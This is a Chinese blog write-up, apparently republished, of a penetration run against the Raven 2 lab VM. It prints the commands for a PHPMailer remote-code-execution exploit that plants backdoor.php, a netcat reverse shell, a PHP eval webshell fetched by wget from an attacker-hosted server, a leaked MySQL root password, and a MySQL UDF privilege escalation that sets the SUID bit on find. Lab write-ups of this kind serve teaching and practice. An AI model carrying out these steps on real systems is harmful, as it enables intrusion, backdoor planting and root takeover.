Raven 2 靶机渗透

前言近几天比较闲,在上周也闲着无聊跑去盒子挖了一周的洞。这周又开始不知道干些啥了,所以就找个靶机来玩玩。Raven2靶机渗透搭建完环境后,发现并没有登录账号和密码,使用御剑高速扫描,先扫描机

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

前言

近几天比较闲,在上周也闲着无聊跑去盒子挖了一周的洞。这周又开始不知道干些啥了,所以就找个靶机来玩玩。

Raven 2 靶机渗透

搭建完环境后,发现并没有登录账号和密码,使用御剑高速扫描,先扫描机器的ip和端口,看看有没有啥能利用到的。
Raven 2 靶机渗透

发现了192.168.27.136 ip 并且80端口和22端口是开启的,首先先从80端口,尝试 来尝试扫描目录。
Raven 2 靶机渗透

扫描目录时,发现了/vendor/目录并且有个wordpress 这时候就可以来尝试一下wp的漏洞了,直接上wpscan 来扫描,没有就放弃。

Raven 2 靶机渗透

连接超时!!! 果断放弃!!!

但是作为一个年轻小伙子怎么能说放弃,要坚持!!![手动狗头][手动狗头]

翻找一下刚刚的目录看看还能不能找到啥东西,当我点开/vendor/目录的时候,发现存在一个目录遍历漏洞。
Raven 2 靶机渗透

点开readme.md 发现是个PHPMailer

Raven 2 靶机渗透

由于以前也没见过,上百度查了一下才知道是个发送电子邮件的函数包。

去百度查找了一下 居然有命令执行漏洞。

为了方便,直接就在kali里面的漏洞库去查找exp

searchsploit phpmailer

Raven 2 靶机渗透

这里有好几个exp,但是也不能一个一个去试,利用条件不一样,还得去查找的他版本。
在我开启vendor/version文件的时候,直接就显示了版本

Raven 2 靶机渗透

确定版本后就可以直接下载exp了,

searchsploit -m 40974.py

Raven 2 靶机渗透

首先查看一下代码。
Raven 2 靶机渗透

这里的garget 和socket的connect的ip需要修改还有需要修改的是email字典后面的路径,这个是写入地址的绝对路径。

那么我们还需要查找他的绝对路径。

http://192.168.27.136/vendor/PATH

文件里面查找到了路径,而且拿下了一个flag。

Raven 2 靶机渗透

这里并不打算去拿flag,而是直接拿权限[手动滑稽][手动滑稽]。

现在就可以开始来改我们的exp了
Raven 2 靶机渗透

这里把target改成了

http://192.168.27.136/contact.php
这个漏洞是基于contact.php的页面产生的漏洞,所以地址得带上这个页面。

在运行exp的时候,py爆了个错误,说我的编码有错误,我立马在头部加了一个utf-8的默认编码方式,但是依然不行,肯定是这个工具启动提示的时候,输出了特殊字符所以才会这样,把它删掉就好了[手动滑稽][手动滑稽]。

Raven 2 靶机渗透

这里直接就执行成功,我们去访问contact.php就会生成一个backdoor.php,访问后可以直接反弹shell了
kali启动一个nc监听

nc -lvp 4444

访问backdoor.php 反弹成功
Raven 2 靶机渗透

nc 模式的shell不支持su交互,使用py进入到伪终端

python -c “import pty;pty.spawn(‘/bin/bash’)”

Raven 2 靶机渗透

输入whoami发现,是个www的权限,权限比较低,还需要进行提权的操作,先来查看一下开放的端口

netstat -ano

Raven 2 靶机渗透

发现他的3306端口是开放的,mysql 5.6以下的默认安装为system权限或者是root权限。这里尝试使用udf提权,先来翻找他的mysql密码,
一般网站需要对数据库进行查询操作的话都是需要连接数据库的,基本上都会去包含数据库的连接文件,而数据库连接文件一般命名为config.inc.php,config.php。
这里就来找一下,进入wordpress目录看到wp-config.php来查看一下。
Raven 2 靶机渗透

翻找到了root账号的密码为:

R@v3nSecurity

然后就可以尝试去udf提权,但是我这嫌nc比较麻烦,所以还是写入一个一句话木马。

echo “<?php eval(@$_POST[‘a’]); ?>” > 1.php

Raven 2 靶机渗透

写入的时候发现post被过滤掉了,后来尝试get和requsts也是一样。

那么就直接换个思路,直接让他去请求远程的文件进行下载

放在服务器上面的时候,不能一脚本格式进行上传,不然脚本会直接运行,将他命名为cmd.txt文件,然后搭建临时web服务

php -S 0.0.0.0:88 -t /root

使用php启动web服务 设置根目录为root

wget http://192.168.3.68:88/cmd.txt

请求文件

mv cmd.txt cmd.php
把文件改名为php后缀,然后使用蚁剑进行连接。

连接成功后,使用管理数据功能,进行mysql连接,查询mysql版本信息。
Raven 2 靶机渗透

这里还有几个注意事项,在mysql 4.1版本前任何的dll文件的函数都能导入到mysql里面去让mysql调用,
mysql 4.1-5.0 版本中,对注册的dll位置做了限制,创建函数时候对应的dll不能包含斜杠或者反斜杠,
不能是绝对路径,所以会将dll导出到systm32目录下,去绕过这个限制。
在mysql5.1版本后,创建函数的dll只能放在mysql的plugin目录下,也就是插件目录

使用mysql语句来查看plugin目录位置

show variables like ‘%plugin%’;

Raven 2 靶机渗透

现在我们还得下载一个linux版本的udf

searchsploit udf

searchsploit -m 1518.c

从漏洞库把udf下载下来后,是个c文件还得使用gcc进行编译后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

编译完成后,使用wget远程下载

wget http://192.168.3.68:88/udf.so

数据库创建表:

create table nice(line blob);

表中插入udf.so的数据

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql语句从nice表中导出数据到plugin目录下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

导出完成后,这里就可以直接创建一个函数,来进行执行命令了

create function do_system returns integer soname ‘udf.so’;

创建完成后可以查询是否创建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

Raven 2 靶机渗透
提权成功。

cat flag4.txt

[手动狗头][手动狗头]flag真香

Raven 2 靶机渗透

结尾

最近这感冒了,很难受,干啥都没精力,我想我还是需要妹子来温暖我的心
Raven 2 靶机渗透

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119963.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • linux的grep命令详解_grep -v命令

    linux的grep命令详解_grep -v命令文章目录一、grep常用命令1、语法2、范例二、grep的一些高级参数1、语法2、范例三、基础正则表达式练习1、与中括号`[]`结合2、与反向选择^结合使用3、与行首`^`和行尾$字符结合4、任意一个字符`.`与重复字符`*`5、`{}`限定连续字符范围一、grep常用命令grep的功能是分析一行信息,若其中有我们所需要的信息,就将其拿出来。需要注意的是它以整行为单位…

    2022年8月30日
    2
  • 五个优秀的硬盘检测工具[通俗易懂]

    五个优秀的硬盘检测工具[通俗易懂]虽然硬盘价格不断大幅跳水,但它显然一直是我们最宝贵的资产,硬盘一旦损坏,所有下载的音乐、铃声、软件,工作的文档、报表、模型、图片都不复存在。本文介绍五个最好的硬盘检测工具,它们各有特色,有的可以监视局

    2022年7月4日
    41
  • 排查挖矿病毒

    排查挖矿病毒场景最新发现linux服务器一直很卡,导致无法编译和其它相关操作。排查分析经top查看原来是一个叫269的进程一直抢占CPU,占比高达4000%。而该269进程则是挖矿病毒进行高度伪装,即使是kill掉该进程也无济于事,后面又会自动跑起来。top-19:29:19up1:24,2users,loadaverage:41.71,41.75,41.46Tasks:891total,3running,502sleeping,0st..

    2022年6月12日
    36
  • setrequestproperty()怎么使用_url主要功能

    setrequestproperty()怎么使用_url主要功能设置头信息的,比如格式,UA等,不设置自然有默认的,一般的请求倒不需要去设置,可以去看看android里的DefaultHttpClient里也有设置头信息的setRequestProperty 主要是用来设置下面的功能Javacode?12connection.setRequestProperty(“Con

    2025年9月11日
    6
  • java递归生成树结构_java递归生成树形菜单

    java递归生成树结构_java递归生成树形菜单publicList getAllCommType(){  ListtreeList=newArrayList();  //取到父节点id为0,只有一个  ListtypeList=commType.getAllCommodityType();  for(Commodity_typetype:typeList){   Treetree=newTree();

    2022年9月17日
    1
  • 说一下CAS锁机制?「建议收藏」

    1.CAS(CompareandSwap比较并交换),是一种无锁算法,当多个线程尝试使用CAS同时更新同一个变量时,只有其中一个线程能更新变量的值,而其他线程都失败,失败的线程并不会挂起,而是被告知这次竞争中失败,并可以再次尝试。2.CAS算法涉及到三个操作数a.需要读写的内存位置(V)b.进行比较的预期原值(A)c.拟写入的新值(B)3.如果内存位置V的值与预期原值A相匹配,那么处理器会自动将该位置值更新为新值B,否则处理器不做任何操作。java多线程总结篇4——锁机制…

    2022年4月17日
    50

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号